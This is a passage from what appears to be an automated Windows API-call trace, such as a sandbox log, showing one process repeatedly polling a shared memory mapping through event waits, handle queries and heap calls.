WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.954] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.954] ResetEvent (hEvent=0xdc) returned 1 [0093.954] SetEvent (hEvent=0xe0) returned 1 [0093.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.954] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.955] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.955] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.955] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.955] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.955] ResetEvent (hEvent=0xdc) returned 1 [0093.955] SetEvent (hEvent=0xe0) returned 1 [0093.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.955] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.956] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.956] ResetEvent (hEvent=0xdc) returned 1 [0093.956] SetEvent (hEvent=0xe0) returned 1 [0093.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.956] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.956] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.957] ResetEvent (hEvent=0xdc) returned 1 [0093.957] SetEvent (hEvent=0xe0) returned 1 [0093.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.957] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.957] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.957] ResetEvent (hEvent=0xdc) returned 1 [0093.957] SetEvent (hEvent=0xe0) returned 1 [0093.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.958] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.958] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.958] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.958] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.958] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.958] ResetEvent (hEvent=0xdc) returned 1 [0093.958] SetEvent (hEvent=0xe0) returned 1 [0093.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.959] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.959] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.959] ResetEvent (hEvent=0xdc) returned 1 [0093.959] SetEvent (hEvent=0xe0) returned 1 [0093.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.960] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.960] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.960] ResetEvent (hEvent=0xdc) returned 1 [0093.960] SetEvent (hEvent=0xe0) returned 1 [0093.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.960] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.961] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.961] ResetEvent (hEvent=0xdc) returned 1 [0093.961] SetEvent (hEvent=0xe0) returned 1 [0093.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.962] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.962] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.962] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.962] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.962] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.962] ResetEvent (hEvent=0xdc) returned 1 [0093.962] SetEvent (hEvent=0xe0) returned 1 [0093.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.963] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.963] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.963] ResetEvent (hEvent=0xdc) returned 1 [0093.963] SetEvent (hEvent=0xe0) returned 1 [0093.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.964] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.964] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.964] ResetEvent (hEvent=0xdc) returned 1 [0093.964] SetEvent (hEvent=0xe0) returned 1 [0093.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.964] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.965] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.965] ResetEvent (hEvent=0xdc) returned 1 [0093.965] SetEvent (hEvent=0xe0) returned 1 [0093.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.965] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.966] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.966] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.966] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.966] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.966] ResetEvent (hEvent=0xdc) returned 1 [0093.966] SetEvent (hEvent=0xe0) returned 1 [0093.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.966] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.967] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.967] ResetEvent (hEvent=0xdc) returned 1 [0093.967] SetEvent (hEvent=0xe0) returned 1 [0093.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.967] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.967] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.968] ResetEvent (hEvent=0xdc) returned 1 [0093.968] SetEvent (hEvent=0xe0) returned 1 [0093.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.968] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.968] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.968] ResetEvent (hEvent=0xdc) returned 1 [0093.968] SetEvent (hEvent=0xe0) returned 1 [0093.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.969] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.969] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.969] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.969] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.969] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.970] ResetEvent (hEvent=0xdc) returned 1 [0093.970] SetEvent (hEvent=0xe0) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.970] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.970] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.970] ResetEvent (hEvent=0xdc) returned 1 [0093.970] SetEvent (hEvent=0xe0) returned 1 [0093.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.971] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.971] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.971] ResetEvent (hEvent=0xdc) returned 1 [0093.971] SetEvent (hEvent=0xe0) returned 1 [0093.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.972] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.972] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.972] ResetEvent (hEvent=0xdc) returned 1 [0093.972] SetEvent (hEvent=0xe0) returned 1 [0093.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.973] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.973] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.973] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.973] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.973] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.973] ResetEvent (hEvent=0xdc) returned 1 [0093.973] SetEvent (hEvent=0xe0) returned 1 [0093.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.974] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.974] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.974] ResetEvent (hEvent=0xdc) returned 1 [0093.974] SetEvent (hEvent=0xe0) returned 1 [0093.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.974] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.975] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.975] ResetEvent (hEvent=0xdc) returned 1 [0093.975] SetEvent (hEvent=0xe0) returned 1 [0093.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.975] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.976] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.976] ResetEvent (hEvent=0xdc) returned 1 [0093.976] SetEvent (hEvent=0xe0) returned 1 [0093.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.976] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.976] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.976] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.977] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.977] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.977] ResetEvent (hEvent=0xdc) returned 1 [0093.977] SetEvent (hEvent=0xe0) returned 1 [0093.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.977] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.977] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.977] ResetEvent (hEvent=0xdc) returned 1 [0093.978] SetEvent (hEvent=0xe0) returned 1 [0093.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.978] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.978] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.978] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.978] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.978] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.978] ResetEvent (hEvent=0xdc) returned 1 [0093.978] SetEvent (hEvent=0xe0) returned 1 [0093.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.979] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.979] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.979] ResetEvent (hEvent=0xdc) returned 1 [0093.979] SetEvent (hEvent=0xe0) returned 1 [0093.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.980] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.980] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.980] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.980] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.980] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.980] ResetEvent (hEvent=0xdc) returned 1 [0093.980] SetEvent (hEvent=0xe0) returned 1 [0093.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.981] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.981] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.981] ResetEvent (hEvent=0xdc) returned 1 [0093.981] SetEvent (hEvent=0xe0) returned 1 [0093.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.981] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.982] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.982] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.982] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.982] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.982] ResetEvent (hEvent=0xdc) returned 1 [0093.982] SetEvent (hEvent=0xe0) returned 1 [0093.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.982] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.983] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.983] ResetEvent (hEvent=0xdc) returned 1 [0093.983] SetEvent (hEvent=0xe0) returned 1 [0093.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.983] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.984] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.984] ResetEvent (hEvent=0xdc) returned 1 [0093.984] SetEvent 